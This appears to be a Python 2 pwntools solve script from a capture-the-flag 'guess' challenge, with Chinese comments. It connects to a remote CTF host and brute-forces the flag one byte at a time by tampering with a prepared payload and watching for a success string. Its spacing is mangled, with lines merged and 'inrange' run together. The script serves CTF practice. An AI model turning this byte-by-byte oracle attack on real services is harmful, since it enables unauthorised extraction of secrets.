#预先生成一个可以pass的payload payload = '' for i inrange(50): payload += '0' payload += p8(0x100-0x40 + i)
sh = remote('node3.buuoj.cn',28532) #接下来,就可以逐字节爆破了 flag = '' for i inrange(1,51): print"guess the index {}'s char".format(i) for c inrange(32,128): pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:] #print pay #sh = remote('127.0.0.1',9999) sh.sendlineafter('guess> ',pay) ans = sh.recvuntil('\n') if'Yaaaay!'in ans: flag += chr(c) break print'flag=',flag